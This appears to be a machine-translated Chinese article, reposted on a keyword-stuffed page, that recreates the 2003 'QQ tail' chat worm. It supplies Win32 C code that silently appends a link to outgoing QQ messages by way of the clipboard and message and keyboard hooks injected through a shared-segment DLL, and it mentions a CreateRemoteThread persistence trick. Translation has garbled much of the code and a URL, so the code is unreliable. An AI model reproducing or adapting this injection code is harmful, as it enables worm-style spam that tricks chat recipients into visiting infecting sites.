QQ尾巴病毒,qq尾巴病毒是什么

QQ尾巴病毒,qq尾巴病毒是什么,QQ尾巴病毒核心技术的实现

QQ尾巴病毒核心技术的实现

2003年那一年,QQ尾病毒算是风光了一阵子。它利用IE的头部漏洞在QQ上疯狂传播。当感染者给别人发消息时,病毒会自动在消息正文后面加上一句话,内容多种多样。简而言之,就是希望消息的接收者点击这句话里的网址,成为下一个感染者。

下面我要讨论的是QQ尾巴病毒使用的技术。因为拿不到病毒的源代码,以下代码都是我的主观臆断。好在效果和病毒本身基本一致。

粘贴尾部

首先,一个最简单的问题就是如何添加文字。这个技术没有秘密,就是通过剪贴板粘贴一个字到QQ消息的RichEdit。代码如下:

TCHARg_str[]=欢迎来到我的站:http://titi Lima . nease . net ;

//函数函数:将尾部粘贴到文本框中

voidPasteText(HWNDhRich)

{

HGLOBALhMem

LPTSTRpStr

//分配内存空间

hMem=global alloc(GHND | GMEM _ SHARE,sizeof(g _ str));

pStr=全局锁(hMem);

lstrcpy(pStr,g _ str);

全球解锁(hMem);

OpenClipboard(空);

EmptyClipboard();

//设置剪贴板文本

SetClipboardData(CF_TEXT,hMem);

close clipboard();

//释放内存空间

global free(hMem);

//粘贴文本

SendMessage(hRich,WM_PASTE,0,0);

}

好,那么下面的问题是,这段文字应该什么时候贴?网上一些关于QQ尾巴实现的文章指出,可以用定时器来控制粘贴时间,大概是这样的:

voidcqtaildlg:on timer(UINTnIDEvent)

{

PasteText(hRich);

}

这确实是一个解决方案,但也有很大的局限性。如何设置——定时器的间隔?可能中毒的人在打字,出现了尾文“唰”.

然而,病毒本身并不是这样的。当你点击“发送”或按下Ctrl Enter时,它可以准确地粘贴文本。2003年1月,我在P2的一台电脑中毒了。因为系统速度比较慢,我可以很清楚的看到文字粘贴的时机。

至此,我所陈述的事实一定会让作为读者的你说:勾!3354是的,是钩子。下面我说的是利用钩子真实再现“QQ尾巴病毒”的技术。

首先我简单介绍一下钩子。已经熟悉钩子的朋友可以跳过这一段。所谓Win32钩子,并不是铁钩船长人工复制的手臂,而是一个子程序,可以用来监控和检测系统中的特定消息,完成一些特定的功能。比如你的程序是皇帝,Windows系统充当各省省长;至于钩子,可以算是皇帝的钦差大臣。比如皇帝下令全国收税,然后派钦差大臣找到山西巡抚说:“皇帝下令,山西除了正常的税收,还要加十坛杏花村酒。”(-_-#……)就像皇帝可以用这种方法对待特定的总督一样,程序员也可以在Windows系统中使用钩子来捕获和处理特定的消息。

问题是我们需要一个钩子在用户点击“发送”按钮后粘贴我们的文本。我实现的这个挂钩过程是(至于这个挂钩怎么挂,我后面再解释):

//钩子子程,监视“已发送”的命令消息

LRESULTCALLBACKCallWndProc(intn code,WPARAMwParam,LPARAMlParam)

{

CWPSTRUCT * p=(CWPSTRUCT *)lParam;

//捕获“发送”按钮

if(p-message==WM _ command low word(p-wParam)==1)

PasteText(g _ hRich);

returnCallNextHookEx(g_hProc,nCode,wParam,lParam);

}

在这里,我将解释关于这个回调过程的几点:

1.lParam是指向CWPSTRUCT结构的指针,描述如下:

typedefstruct{

LPARAMlParam

WPARAMwParam

UINTmessage

HWNDhwnd

}CWPSTRUCT,* PCWPSTRUCT

这时候像我这样的SDKfans可能会笑:这不就是窗口回调的四个硬核参数吗?如你所说,这是真的。你甚至可以使用像switch(p-message){/*这样的代码编写的钩子函数.*/}完全接管QQ窗口。

2.g_hRich是一个全局变量,用于保存QQ消息文本框的句柄。这里之所以使用全局变量,是因为我无法从键盘钩子回调函数的参数中获取这个句柄。至于如何得到这个句柄,以及这个全局变量的特殊位置,我后面会解释。

3.CallNextHookEx是调用挂钩链的下一个进程。如果换了钦差,你会说:“石潭杏花村钦差为皇上收了酒书。现在请总督把你们省的正常税收交上来。”(-_-#……)这是编写钩子函数非常重要的一个环节。如果缺少这句话,可能会导致系统的钩子链出错,部分程序不会响应3354。其实我在写这个模拟程序的时候,QQ被典当了好几次。

4.你可能会问我为什么要捕获WM_COMMAND消息。这个原因我用下面的SDK代码来解释一下(虽然QQ是用MFC写的,但是WM_COMMAND和“发送”按钮的关系只能用SDK代码来解释):

#defineIDC_BTN_SENDMSG1//"发送"按钮ID的宏定义

//QQ发送消息对话框回拨过程马丽伪造版

LRESULTCALLBACKProcSendDlg(HWNDhDlg,UINTMsg,WPARAMwParam,LPARAMlParam)

{

开关(消息)

{

caseWM_CLOSE:

EndDialog(hDlg,0);

打破;

caseWM_COMMAND:

{

开关(低字(wParam))

{

case IDC _ BTN _发送消息:

//发送消息.

打破;

//其他命令按钮处理部件.

}

}

打破;

//其他案例部分.

}

return0

}

发送消息的整个过程是:当用户点击“发送”按钮时,这个按钮的父窗口(也就是“发送消息”对话框)会收到一个WM_COMMAND的通知消息,其中wParam的低阶字(也就是LOWORD(wParam))就是这个按钮的ID,然后发送的部分代码就会被调用。这个过程如下:

所以对我来说,捕捉WM_COMMAND消息比捕捉其他消息或者挂钩鼠标要有效得多。

好了,现在这个钩子可以成功完成任务了。但是请不要忘记:更多的用户更喜欢使用“Ctrl Enter”热键来发送消息,所以需要在程序中挂一个键盘钩子:

//键盘钩子进程,监视“发送”热键消息

LRESULTCALLBACKKeyboardProc(intn code,WPARAMwParam,LPARAMlParam)

{

//捕获热键消息

if(wParam==VK _ RETURNGetAsyncKeyState(VK _控制)0lParam=0)

PasteText(g _ hRich);

returnCallNextHookEx(g_hKey,nCode,wParam,lParam);

}

这里唯一需要说明的是lParam=0子句。很明显,这个if判断是判断热键Ctrl Enter的输入,那么lParam=0是什么呢?其实lParam是键盘钩子回调中一个非常重要的参数,包含了重复击键次数、扫码、扩展键标志等信息。lParam的最高位(0x80000000)表示该键当前是否被按下。如果该位被按下,则该位为0,否则为1。因此,lParam=0意味着在WM_KEYDOWN发生时调用PasteText。也就是说,如果去掉这个条件,PasteText会被调用两次(和WM_KEYUP一起调用一次)。

挂钩和查找窗口

接下来就是两个钩子怎么勾了。对于挂钩钩子来说,要解决的问题是:在哪里钩,怎么钩?

挂钩的目标必须是QQ“发送消息”窗口的线程。我的代码是传入这个窗口的句柄来连接它:

//钩住钩子

BOOLWINAPISetHook(HWNDhQQ)

{

BOOLbRet=FALSE

如果(hQQ!=空)

{

DWORDdwThreadID=GetWindowThreadProcessId(hQQ,NULL);

//感谢好友hottey找到代码,省去了我用Spy的麻烦。

g _ hRich=GetWindow(GetDlgItem(hQQ,0),GW _ CHILD);

if(g_hRich==NULL)

返回false;

//钩住钩子

g _ hProc=SetWindowsHookEx(WH _ CALLWNDPROC,CALLWNDPROC,g_hInstDLL,dw threadid);

g _ hKey=SetWindowsHookEx(WH _ KEYBOARD,KeyboardProc,g_hInstDLL,dwThreadID);

bRet=(g_hProc!=NULL)(g_hKey!=NULL);

}

其他

{

//卸载挂钩

bRet=UnhookWindowsHookEx(g _ hProc)UnhookWindowsHookEx(g _ hKey);

g _ hProc=NULL

g _ hKey=NULL

g _ hRich=NULL

}

returnbRet

}

到目前为止,以上代码都位于Hook.dll的一个动态链接库中,所以我就不介绍dll了。请参考MSDN的相关资料和本文的支持源代码。

所有重要的工作都在DLL中完成了(其实这部分工作只能由DLL来完成,这是由Windows虚拟内存机制决定的)。我们只需要在EXE中调用导出的SetHook函数。那么,如何获取SetHook的参数呢?请看下面的代码:

//感谢好友hottey找到代码,省去了我用Spy的麻烦。

HWNDhSend

g _ hQQ=NULL

SetHook(空);

{

g_hQQ=FindWindowEx(NULL,g_hQQ, #32770 ,NULL);

Hs end=FindWindowex (g _ hQQ,null, button , send(s));

}而(g_hQQ!=NULLhSend==NULL);

如果(g_hQQ!=空)

SetHook(g _ hQQ);

这段代码中的do-while循环用于查找“发送消息”的窗口。QQ窗口的保密性越来越强,一层一层的找很不方便,所以要感谢朋友hottey的文章《QQ消息炸.弹随想》,省去了我反复使用Spy的麻烦。我所做的只是把他文本中的Delphi代码翻译成C代码。

DLL的共享数据段

如果你对dll了解不多,看完我的配套源代码,你肯定会对下面的代码有一些疑问:

//定义共享数据段

#pragmadata_seg(shared )

HHOOKg _ hProc=NULL//窗口过程钩子的句柄

HHOOKg _ hKey=NULL//键盘挂钩句柄

HWNDg _ hRich=NULL//文本框句柄

#pragmadata_seg()

#pragmacomment(链接器,/section:shared,rws )

这定义了一个共享数据段。是的,因为我的评论已经写得很清楚了,那么共享数据段起什么作用呢?在回答这个问题之前,我要求您在代码中注释掉以#开头的预处理指令,然后重新编译这个DLL并运行它。你会发现什么?

是的,加尾失败!

好,我来解释一下这个问题。我们模拟程序的EXE,DLL和QQ的主程序其实是以下关系:

这个DLL需要将一个实例映射到EXE的地址空间供其调用,将另一个实例映射到QQ的地址空间来完成钩子工作。也就是说挂钩的时候,整个系统的模块里有两个DLL实例!这个DLL不是另一个DLL,所以它们之间没有联系。以全局变量g_hRich为例。图中左边的DLL通过EXE的输入获得文本框的句柄。但是,如果没有共享段,那么右边的DLL仍然为空。这里分享的意义就体现出来了,就是保证EXE,DLL,QQ之间的连接。这有点类似于c中static的成员变量。

钩子成功钩住后,可以通过一些有模块查看功能的流程管理器看一下,会发现Hook.dll也位于QQ.exe的模块中。

一些最后的话要说。

1.正如我之前所说,我在2003年1月遇到了这种病毒。至今我还清楚的记得病毒EXE只有16KB大小,所以从病毒本身的性质来说,用Win32ASM写这个东西会比较实用。

2.我以前用手杀死病毒。——用进程查看工具杀了它。不过现在“QQ尾巴”增加了复活功能3354。EXE被杀后,DLL会唤醒它。我用我的进程查看工具分析了一下,发现系统中几乎所有的进程都被病毒DLL抓住了。这种技术利用CreateRemoteThread在所有进程中插入一个额外的复活线程,真的可以一举两得,——,保证EXE永远运行,并且使用中的DLL不能删除。这个技术我也实现了,但是稳定性远不如病毒本身优秀,这里就不写出来了。感兴趣的朋友可以参考JeffreyRichter 《Windows核心编程》的相关章节。

3.想起了侯杰《STL源码剖析》里的那句话——“在源代码之前,没有秘密。”如果你看完这篇文章也有同感,那么我将不胜荣幸。

QQ尾巴病毒,qq尾巴病毒是什么